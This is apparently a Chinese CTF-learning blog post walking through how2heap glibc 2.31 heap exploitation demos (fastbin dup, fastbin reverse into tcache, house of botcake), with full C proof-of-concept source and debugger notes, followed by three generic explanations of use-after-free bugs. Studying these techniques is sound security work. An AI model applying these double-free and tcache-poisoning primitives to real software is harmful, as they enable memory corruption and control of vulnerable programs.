how2heap-2.31学习

前言

当前常用的glibc版本都开始升级到2.31以后了,相对于ubuntu来说就是20.04、22.04之后的版本。同时接触heap的tcache部分也有很长一段时间了,但是平时做题的时候,都是凭印象用各种技巧。本文通过how2heap的例子对2.31的技巧进行巩固总结一下。

fastbin dup

ptmalloc管理机制中,tcache的优先级是高于fastbin的,但是通过calloc函数申请的内存是跳过tcache的。fastbin dup技巧就是绕过tcache实现2.23版本下面的double free操作。下面是demo源码,中间的注释函数进行了部分缩减。

demo源码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
//释放7个chunk填满tcache
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}
//通过calloc函数掠过tcache申请内存
	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);
//常规的fastbin double free
	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);
//通过三次申请,可以实现chunk overlap
	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

动调展示

18行下断点,0x20大小的tcache被free的chunk 填满了。
在这里插入图片描述
在28行下断点,看到我们用calloc申请的三个chunk地址。
在这里插入图片描述
在40行下断点,指针a和b指向的chunk都进入了fastbin列表中,同时因为free的时候,chunk a的指针并没有置零,我们实现了第二次free chunk a,构造出了循环连接的fastbin 列表。
在这里插入图片描述
最后在48行下断点,可以看到指针a和c指向了同一个chunk,实现了chunk overlap。
在这里插入图片描述

fastbin reverse into tcache

在tcache和fastbin中,存储的chunk都是FILO的,所以都是用fd指针来构建链表的。
另外,在tcache和fatsbin的同大小列表中,如果从tcache申请出chunk让tcache列表没有达到7个满的chunk,同时fatsbin列表中还有free状态的chunk,那么就会将fastbin列表中的chunk一个一个取出来并放入tcache列表中。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);

  printf(
    "\n"
    "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
    "except it works with a small allocation size (allocsize <= 0x78).\n"
    "The goal is to set things up so that a call to malloc(allocsize) will write\n"
    "a large unsigned value to the stack.\n\n"
  );

  // Allocate 14 times so that we can free later.
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "First we need to free(allocsize) at least 7 times to fill the tcache.\n"
    "(More than 7 times works fine too.)\n\n"
  );

  // Fill the tcache.
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* victim = ptrs[7];
  printf(
    "The next pointer that we free is the chunk that we're going to corrupt: %p\n"
    "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
    "already full, it will go in the fastbin.\n\n",
    victim
  );
  free(victim);

  printf(
    "Next we need to free between 1 and 6 more pointers. These will also go\n"
    "in the fastbin. If the stack address that we want to overwrite is not zero\n"
    "then we need to free exactly 6 more pointers, otherwise the attack will\n"
    "cause a segmentation fault. But if the value on the stack is zero then\n"
    "a single free is sufficient.\n\n"
  );

  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

  // Create an array on the stack and initialize it with garbage.
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));

  printf(
    "The stack address that we intend to target: %p\n"
    "It's current value is %p\n",
    &stack_var[2],
    (char*)stack_var[2]
  );

  printf(
    "Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
    "to overwrite the next pointer at address %p\n\n",
    victim
  );

  //------------VULNERABILITY-----------

  // Overwrite linked list pointer in victim.
  *(size_t**)victim = &stack_var[0];

  //------------------------------------

  printf(
    "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
  );

  // Empty tcache.
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "Let's just print the contents of our array on the stack now,\n"
    "to show that it hasn't been modified yet.\n\n"
  );

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  printf(
    "\n"
    "The next allocation triggers the stack to be overwritten. The tcache\n"
    "is empty, but the fastbin isn't, so the next allocation comes from the\n"
    "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
    "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
    "address that we are targeting ends up being the first chunk in the tcache.\n"
    "It contains a pointer to the next chunk in the list, which is why a heap\n"
    "pointer is written to the stack.\n"
    "\n"
    "Earlier we said that the attack will also work if we free fewer than 6\n"
    "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
    "That's because the value on the stack is treated as a next pointer in the\n"
    "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
    "\n"
    "The contents of our array on the stack now look like this:\n\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);
  printf(
    "\n"
    "Finally, if we malloc one more time then we get the stack address back: %p\n",
    q
  );

  assert(q == (char *)&stack_var[2]);
  return 0;
}

直接在44行下断点,看到一开始申请的14个chunk已经free了8个,前七个填满了tcache,最后一个进入了fastbin中。同时victim指针也指向了这第八个chunk。
在这里插入图片描述
57行下断点,看到剩下的6个chunk也被free进了fastbin中。可以看到fastbin链表中最后一个chunk,也就是最先进入fastbin的chunk,就是victim。
在这里插入图片描述
然后初始化一段栈上的空间,命名为stack_var数组。
在这里插入图片描述
在79行下断点,最关键的attack,将victim的fd指针指向了stack_var的地址,伪造了一段fastbin链表。(当然,实际攻击中这里需要有堆溢出或者UAF漏洞才能够实现)
在这里插入图片描述
90行下断点,申请清空所有tcache
在这里插入图片描述
119行下断点。在清空tcache后,只要再申请一个chunk,系统会检查到tcache并没有满,从而将剩下的fastbin chunk一个一个取出并放入tcache中。由于我们伪造了一个fastbin 链表,所以fastbin reverse into tcache的时候,第一个chunk就是我们伪造地址的chunk。
在这里插入图片描述
后面再申请chunk就可以申请到我们想要的目标地址了。

house of botcake

此攻击手法利用的还是double free这一点,我们能够实现将同一个chunk分别放入tcache和unsorted bin中。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);
    
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/
    
    // simple tcache poisoning
    puts("Launch tcache poisoning");
    puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;
    
    // take target out
    puts("Now we can cash out the target chunk.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\n", c);
    
    // sanity check
    assert(c==stack_var);
    printf("Got control on target/stack!\n\n");
    
    // note
    puts("Note:");
    puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
    puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

    return 0;
}

在51行下断点。首先申请了9个0x100大小的chunk,1个0x10大小的chunk用作分割。释放前7个0x100的chunk,填满tcache。
在这里插入图片描述
57行下断点。先free的chunk a,再free的chunk prev,合并两个chunk。
在这里插入图片描述
64行下断点,先malloc从tcache中申请一个chunk,再double free chunk a,让chunk a进入tcache。
在这里插入图片描述
67行下断点,红色区域是chunk a的header和fd部分,蓝色区域是刚才切割合并的unsorted bin的剩余size大小。因为我们申请了0x120大小的chunk,所以在chunk的最后0x10字节,就可以控制tcache的fd指针。
在这里插入图片描述
在69行下断点。看到修改了tcache的fd指针,指向了我们设定的栈上的地址。
在这里插入图片描述
当然,如果没有show此类函数泄露地址时,也可以在申请时只申请0x110大小的chunk,这样就可以借助剩下的main_arena指针构造stdout地址进行io leak

### 回答1: "heap-use-after-free" 是一种常见的内存错误,通常发生在程序试图在释放了一块内存后仍然引用该内存地址的情况下。 在使用堆分配的内存时,如果程序在释放内存后还引用该内存地址,就会导致 "heap-use-after-free" 错误。这可能会导致程序崩溃、数据损坏或安全漏洞。 为了避免 "heap-use-after-free" 错误,程序员应该确保在释放内存后不再使用该内存地址。可以通过将指向已释放内存的指针设置为 NULL 或使用内存分配器函数(如 malloc、calloc、realloc 等)来避免这种错误。另外,一些内存调试工具也可以检测这种错误并提供更多的信息来帮助程序员调试。 ### 回答2: heap-use-after-free是一种常见的堆相关漏洞,它在程序中利用了一个已经被释放的堆内存。当我们释放堆内存后,如果不小心继续使用已经释放的内存,就会导致heap-use-after-free漏洞。 当一个堆内存被释放后,它会返回给堆管理器,可以被重新分配给其他程序使用。然而,如果我们在释放内存后,仍然持有对该内存的指针,并且在后续的代码中使用了该指针,就会造成heap-use-after-free漏洞。 这种错误的使用已经释放的内存可能导致程序的不可预测行为,甚至可以被恶意攻击者利用来执行任意代码。攻击者可以通过控制已释放的内存中的数据来改变程序的执行流程或者读取敏感信息。 为了防止heap-use-after-free漏洞的发生,我们应该遵循一些最佳实践。首先,确保在不再使用堆内存之前将其正确释放。其次,及时将已经释放的指针设置为NULL,以避免误用。此外,使用堆管理器提供的专用函数来分配和释放内存,避免手动管理内存,可以减少这类错误的发生。 最后,漏洞修复是非常重要的。在发现了heap-use-after-free漏洞后,我们应该尽快修复它,以避免潜在的安全问题。修复这类漏洞的方法包括修改程序逻辑、改变内存分配和释放的顺序等。 综上所述,heap-use-after-free是一种常见的堆相关漏洞,它产生于程序中继续使用已经释放的堆内存。为了防止这类漏洞的发生,我们需要注意正确地分配和释放内存,并及时修复已发现的漏洞。 ### 回答3: heap-use-after-free是指在堆上释放了某个内存块,但之后仍然对该内存块进行了访问或操作。这种错误通常发生在程序员没有正确管理内存的情况下。 当释放完一个内存块之后,程序应该立即将指向该内存块的指针置为NULL,以防止错误地访问已经释放的内存块。然而,如果未将指针置为NULL,并继续使用该指针进行读取或写入操作,就会产生heap-use-after-free错误。 这种错误可能导致一些严重的后果。例如,可能会导致程序崩溃、数据损坏,甚至存在潜在的安全风险。因此,程序员在使用堆上分配的内存时,必须遵守正确的内存管理规则,包括正确释放内存并及时将指针置为NULL。 为了避免heap-use-after-free错误,程序员可以采取以下几种措施。首先,尽量使用动态内存分配的高级抽象机制,如智能指针或垃圾回收器,以自动管理内存。其次,当手动管理内存时,要确保正确释放内存并将指针置为NULL。另外,可以使用工具进行内存泄漏检测和动态分析,以及进行严格的代码审查和测试,以提前发现和修复heap-use-after-free错误。 总之,heap-use-after-free是一种内存管理错误,程序员必须小心处理以避免产生严重的后果。正确的内存管理和代码审查是预防这种错误的有效方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值